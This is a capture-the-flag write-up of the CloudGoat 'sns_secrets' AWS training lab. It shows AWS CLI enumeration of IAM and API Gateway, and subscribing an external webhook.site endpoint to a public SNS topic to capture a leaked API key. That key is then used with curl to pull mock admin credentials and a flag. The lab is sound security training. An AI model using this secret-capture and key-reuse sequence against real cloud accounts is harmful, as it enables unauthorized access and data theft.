Warning Spoilers Ahead!

This is a write up the CloudGoat scenario sns_secrets and was created by the one and only Tyler Ramsbey.

Another walkthrough of the scenario can be found on TryHackMe which uses the Pacu SNS modules, mines uses the AWS CLI.

At time of writing this the scenario is still a GitHub Pull Request but its ready!

Installation

git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd cloudgoat
pip3 install -r ./requirements.txt
chmod +x cloudgoat.py

If you run into an issue when installing the requirements you may have to install a newer version of PyYAML.

# Specify the AWS profile to use
./cloudgoat.py config profile

# Create the scenario
./cloudgoat.py create sns_secrets

Scenario

Lets start off the scenario and enumerate the permissions we were given. Export the access key and secret key your local environment and set the region, this will run all AWS queries “through” those credentials.

export AWS_ACCESS_KEY_ID=AKIAZ6IIT5X.....
export AWS_SECRET_ACCESS_KEY=XKn6589zGulRwi......
export AWS_REGION=us-east-1

aws sts get-caller-identity
# {
#     "UserId": "AIDAZ6IIT5XUXYUFELEYX",
#     "Account": "0123456789",
#     "Arn": "arn:aws:iam::0123456789:user/cg-sns-user-sns_secrets_cgid9t263d1ik5"
# }

Enumeration

Now that we know our username cg-sns-user-sns_secrets_cgid9t263d1ik5 lets see if they have any policies attached.

aws iam list-attached-user-policies --user-name cg-sns-user-sns_secrets_cgid9t263d1ik5
# [] None

aws iam list-user-policies --user-name cg-sns-user-sns_secrets_cgid9t263d1ik5
# cg-sns-user-policy-sns_secrets_cgid9t263d1ik5

aws iam get-user-policy --user-name cg-sns-user-sns_secrets_cgid9t263d1ik5 --policy-name cg-sns-user-policy-sns_secrets_cgid9t263d1ik5

There is one policy (cg-sns-user-policy-sns_secrets_cgid9t263d1ik5) attached to the user. The following output is the contents of the policy.

{
    "UserName": "cg-sns-user-sns_secrets_cgid9t263d1ik5",
    "PolicyName": "cg-sns-user-policy-sns_secrets_cgid9t263d1ik5",
    "PolicyDocument": {
        "Version": "2012-10-17",
        "Statement": [
            {
                "Action": [
                    "sns:Subscribe",
                    "sns:Receive",
                    "sns:ListSubscriptionsByTopic",
                    "sns:ListTopics",
                    "sns:GetTopicAttributes",
                    "iam:ListGroupsForUser",
                    "iam:ListUserPolicies",
                    "iam:GetUserPolicy",
                    "iam:ListAttachedUserPolicies",
                    "apigateway:GET"
                ],
                "Effect": "Allow",
                "Resource": "*"
            },
            {
                "Action": [
                    "apigateway:GET"
                ],
                "Effect": "Deny",
                "Resource": [
                    "arn:aws:apigateway:us-east-1::/apikeys",
                    "arn:aws:apigateway:us-east-1::/apikeys/*",
                    "arn:aws:apigateway:us-east-1::/restapis/*/resources/*/methods/GET",
                    "arn:aws:apigateway:us-east-1::/restapis/*/methods/GET",
                    "arn:aws:apigateway:us-east-1::/restapis/*/resources/*/integration",
                    "arn:aws:apigateway:us-east-1::/restapis/*/integration",
                    "arn:aws:apigateway:us-east-1::/restapis/*/resources/*/methods/*/integration"
                ]
            }
        ]
    }
}

There are two statements in the policy:

  1. The first statement of the policy grants the user the ability to perform some sns actions (subscribe, list, get), basic IAM read access, and apigateway:GET which allows retrieving information about API Gateway.
  2. The second denys permissions related to API Gateway. Cannot list api keys, integrations, resources, etc.

SNS

Lets look at the sns permissions first.

aws sns list-topics
# arn:aws:sns:us-east-1:0123456789:public-topic-sns_secrets_cgid9t263d1ik5

aws sns list-subscriptions-by-topic --topic-arn arn:aws:sns:us-east-1:0123456789:public-topic-sns_secrets_cgid9t263d1ik5
# [] None

aws sns get-topic-attributes --topic-arn arn:aws:sns:us-east-1:0123456789:public-topic-sns_secrets_cgid9t263d1ik5
{
    "Attributes": {
        "Policy": "{\"Version\":\"2012-10-17\",\"Statement\":[{\"Effect\":\"Allow\",\"Principal\":\"*\",\"Action\":[\"sns:Subscribe\",\"sns:Receive\",\"sns:ListSubscriptionsByTopic\"],\"Resource\":\"arn:aws:sns:us-east-1:0123456789:public-topic-sns_secrets_cgid9t263d1ik5\"}]}", 
        "Owner": "0123456789",
        "SubscriptionsPending": "0",
        "TopicArn": "arn:aws:sns:us-east-1:0123456789:public-topic-sns_secrets_cgid9t263d1ik5",
        "EffectiveDeliveryPolicy": "{\"http\":{\"defaultHealthyRetryPolicy\":{\"minDelayTarget\":20,\"maxDelayTarget\":20,\"numRetries\":3,\"numMaxDelayRetries\":0,\"numNoDelayRetries\":0,\"numMinDelayRetries\":0,\"backoffFunction\":\"linear\"},\"disableSubscriptionOverrides\":false,\"defaultRequestPolicy\":{\"headerContentType\":\"text/plain; charset=UTF-8\"}}}"
    }
}

Listing the topics there is only one public-topic-sns_secrets_cgid9t263d1ik5

Additionally listing the attributes of the topic does not give much information. Lets try to subscribe to the topic, this will allow us to view information that is being passed through it.

My favorite site is back webhook.site, it allows us to create webhooks, emails, DNS names and more. We’re going to use it to subscribe to the sns topic.

aws sns subscribe --topic-arn arn:aws:sns:us-east-1:0123456789:public-topic-sns_secrets_cgid9t263d1ik5 --protocol https --notification-endpoint https://webhook.site/0ed2ed15-aaab-408a-9f44-2e111a5ea51b
# "SubscriptionArn": "pending confirmation"

Took a little bit to get the request but the following json object is posted to webhook.site.

{
  "Type": "SubscriptionConfirmation",
  "MessageId": "bb3e91b2-d605-43c1-ab6d-f9fd883cf93c",
  "Token": "<<TOKEN>>",
  "TopicArn": "arn:aws:sns:us-east-1:0123456789:public-topic-sns_secrets_cgid9t263d1ik5",
  "Message": "You have chosen to subscribe to the topic arn:aws:sns:us-east-1:0123456789:public-topic-sns_secrets_cgid9t263d1ik5.\nTo confirm the subscription, visit the SubscribeURL included in this message.",
  "SubscribeURL": "https://sns.us-east-1.amazonaws.com/?Action=ConfirmSubscription&TopicArn=arn:aws:sns:us-east-1:0123456789:public-topic-sns_secrets_cgid9t263d1ik5&Token=<<TOKEN>>",
  "Timestamp": "2024-06-01T22:42:38.944Z",
}

Visiting the SubscriberURL to confirm the subscription

Now if anything triggers the sns topic we should get the output posted to our webhook.

API Gateway

Lets take a look back at the API Gateway permissions. Start off by listing the apis.

aws apigateway get-rest-apis
# "id": "rylal4l89l",
# "name": "cg-api-sns_secrets_cgid9t263d1ik5",
# "description": "API for demonstrating leaked API key scenario",
# "apiKeySource": "HEADER",
# "endpointConfiguration": {
#     "types": [
#         "EDGE"
#     ]
# }

Now that we have id of the api we can get deployments which are (as ChatGPT says)

An immutable, versioned snapshot of your API that you can associate with different stages. Each deployment has a unique identifier

aws apigateway get-deployments --rest-api-id rylal4l89l
# "id": "63aknf",

aws apigateway get-deployment --rest-api-id rylal4l89l --deployment-id 63aknf
# Nothing usfull

aws apigateway get-resources --rest-api-id rylal4l89l
# {
#     "items": [
#         {
#             "id": "swuayb",
#             "parentId": "w11f82gweb",
#             "pathPart": "resource-sns_secrets_cgid9t263d1ik5",
#             "path": "/resource-sns_secrets_cgid9t263d1ik5",
#             "resourceMethods": {
#                 "GET": {}
#             }
#         },
#         {
#             "id": "w11f82gweb",
#             "path": "/"
#         }
#     ]
# }

Randomly got a notification from the topic… server minutes after I setup the trigger 🤷

{
  "Type": "Notification",
  "MessageId": "bf6e317a-b4d9-5538-9a37-6faf1c13733d",
  "TopicArn": "arn:aws:sns:us-east-1:0123456789:public-topic-sns_secrets_cgid9t263d1ik5",
  "Message": "DEBUG: API GATEWAY KEY 45a3da610dc64703b10e273a4db135bf"
}

Lets try making some requests against the endpoint…

Based on my quick search this would be the format of the request: https://{restapi-id}.execute-api.{region}.amazonaws.com

curl -X GET https://rylal4l89l.execute-api.us-east-1.amazonaws.com
# {"message":"Forbidden"}

curl -X GET https://rylal4l89l.execute-api.us-east-1.amazonaws.com/resource-sns_secrets_cgid9t263d1ik5
# {"message":"Forbidden"}

Actually looking into how AWS API Gateway works is helpful. We need to specify a stage as well as passing in the api key on an x-api-key header.

Stages are different environments like dev, staging, or production.

aws apigateway get-stages --rest-api-id rylal4l89l
# "deploymentId": "tn9dxh"
# "stageName": "prod-sns_secrets_cgid9t263d1ik5"

Now we can make the GET request with the uri looking like https://{restapi-id}.execute-api.{region}.amazonaws.com/{stage}/{path} and specifying the x-api-key

curl -X GET -H "x-api-key: 45a3da610dc64703b10e273a4db135bf" \
    https://rylal4l89l.execute-api.us-east-1.amazonaws.com/prod-sns_secrets_cgid9t263d1ik5/resource-sns_secrets_cgid9t263d1ik5
{
  "message": "Access granted.",
  "user_data": {
    "user_id": "1337",
    "username": "SuperAdmin",
    "email": "[email protected]",
    "password": "p@ssw0rd123"
  },
  "final_flag": "FLAG{XXXXXXXXX}"
}

Bada bing bata bang we have the flag!

Removing the scenario is simple just run the following command.

./cloudgoat.py destroy sns_secrets